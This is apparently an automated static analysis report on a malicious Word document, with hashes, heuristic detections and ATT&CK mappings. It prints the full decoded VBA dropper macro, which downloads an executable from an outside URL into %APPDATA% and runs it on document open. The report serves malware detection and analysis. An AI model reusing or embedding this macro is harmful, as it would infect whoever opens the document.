Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 561fd6cbff356106…

MALICIOUS

Office (OLE)

109.5 KB Created: 2014-08-26 17:51:00 Authoring application: Microsoft Office Word First seen: 2014-09-26
MD5: ee0df52888f49795733275a4ce6ba4c5 SHA-1: 2c660f7f460c672c2292d480b19a84b29e8d30e1 SHA-256: 561fd6cbff356106045b20f2e8737bd6e90d7d644d3455fa911434b1bf02cbf1
354 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File Execution: Malicious Script

The sample is a malicious Office document containing VBA macros. The document body explicitly instructs the user to enable macros, a common lure. The Auto_Open VBA macro, named 'v45', downloads a file from 'http://colfdoc.it/cart/update.exe' using MSXML2.XMLHTTP and Adodb.Stream, saving it as '%APPDATA%\fdataupdate.com'. It then executes this downloaded file using Shell. This indicates a dropper functionality, aiming to download and execute a second-stage payload.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell dvIZ51 & "\fdataupdate.com", vebNormalFocus
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write r08Ll.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim r08Ll: Set r08Ll = CreateObject("MSXML2.XMLHTTP.6.0")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    dvIZ51 = Environ("APPDATA")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://colfdoc.it/cart/update.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1095 bytes
SHA-256: 89d1e64ceefe13576baf5691d1190166e3b9a772217c2a97c08df56b09818b96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
   v45
End Sub
Sub AutoOpen()
   Auto_Open
End Sub
Sub Workbook_Open()
   Auto_Open
End Sub
Sub v45()
Dim dvIZ51 As String
Dim wFEf2cbw As Integer
GDD = "http://colfdoc.it/cart/update.exe"
Dim r08Ll: Set r08Ll = CreateObject("MSXML2.XMLHTTP.6.0")
Dim X2: Set X2 = CreateObject("Adodb.Stream")
dvIZ51 = Environ("APPDATA")
r08Ll.Open "GET", GDD, False
r08Ll.Send
With X2
.Type = 1
.Open
.write r08Ll.responseBody
.SaveToFile dvIZ51 & "\fdataupdate.com", 2
End With
Shell dvIZ51 & "\fdataupdate.com", vebNormalFocus
End Sub


Attribute VB_Name = "NewMacros"
Sub Макрос1()
Attribute Макрос1.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Макрос1"
'
' Макрос1 Макрос
'
'
    Selection.Paste
End Sub